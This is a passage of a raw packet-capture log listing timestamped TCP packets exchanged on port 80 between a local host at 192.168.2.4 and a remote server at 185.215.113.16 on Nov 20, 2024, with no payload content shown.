Nov 20, 2024 12:58:01.424823046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.424835920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.424848080 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.424880028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425172091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425183058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425194025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425204992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425215960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425228119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425235987 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425246954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425259113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425267935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425277948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425290108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425303936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425311089 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425331116 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425343990 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425348997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425386906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425542116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425580025 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425647020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425656080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425677061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425685883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425697088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425704002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425715923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425724030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425735950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425740957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425751925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425760031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425777912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425798893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.425973892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425986052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.425997972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.426011086 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.426018953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.426029921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.426043034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.426050901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.426069021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.426081896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.500854015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.500871897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.500885010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.500986099 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501036882 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501077890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501090050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501102924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501113892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501125097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501133919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501143932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501152992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501163006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501172066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501184940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501193047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501208067 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501219034 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501224995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501236916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501257896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501297951 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501306057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501317978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501329899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501338959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501348972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.501359940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501388073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.501399994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546319962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546374083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546442032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546458960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546473026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546483040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546494007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546519995 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546559095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546566963 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546577930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546590090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546600103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546608925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546619892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546628952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546637058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546650887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546678066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546699047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546710968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546721935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546731949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546753883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546771049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546789885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546802044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546813965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546823025 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546833992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.546844006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546860933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.546879053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547080994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547091961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547105074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547112942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547126055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547135115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547149897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547175884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547194958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547205925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547218084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547230005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547239065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547251940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547260046 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547295094 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547388077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547401905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547414064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547425032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547436953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547456980 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547483921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547610998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547621965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547633886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547645092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547656059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547674894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547703028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547848940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547858953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547872066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547882080 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547894001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547905922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547914982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547924995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547933102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.547944069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.547987938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548017979 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548120975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548152924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548161983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548171997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548182964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548192978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548202991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548212051 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548222065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548229933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548247099 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548264980 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548403978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548415899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548429012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548459053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548459053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548470974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548482895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548491001 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548505068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548511982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548526049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548532009 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548548937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548558950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548774958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548787117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548800945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548815012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548825026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548834085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548845053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548851013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548863888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548872948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548887014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548892975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548903942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.548913956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548923016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.548938990 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549127102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549139023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549151897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549163103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549175978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549184084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549192905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549201965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549220085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549232960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549349070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549364090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549376011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549386024 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549393892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549410105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549418926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549427986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549438000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549458981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549489021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549662113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549674034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549685001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549696922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549705982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549715996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549727917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549736977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549747944 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549756050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549768925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549778938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549789906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549798012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549812078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549818993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549829006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.549839020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549850941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.549865961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550061941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550072908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550086021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550096989 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550136089 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550136089 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550163984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550175905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550187111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550193071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550199032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550210953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550225019 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550235033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550242901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550256968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550268888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550277948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550297022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550318003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550668955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550681114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550694942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550704956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550714016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.550724983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550741911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.550757885 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.591612101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.591631889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.591680050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.591698885 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.591762066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.591797113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.591890097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.591902971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.591917038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.591928959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.591943979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.591950893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.591959953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.591969967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.591980934 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592005968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592200041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592212915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592226028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592237949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592252970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592262030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592267990 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592278004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592288017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592298031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592312098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592331886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592344999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592356920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592370033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592380047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592391968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592398882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592406988 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592430115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592654943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592670918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592684984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.592695951 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592709064 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.592725992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634151936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634229898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634277105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634278059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634350061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634397030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634424925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634473085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634500980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634533882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634556055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634583950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634625912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634660006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634680033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634725094 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634752989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634802103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634818077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634846926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634890079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634923935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.634948969 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.634968042 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.635015011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.635050058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.635070086 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.635103941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.635142088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.635162115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.635162115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.635193110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.635224104 CET	80	49761	185.215.113.16	192.168.2.4
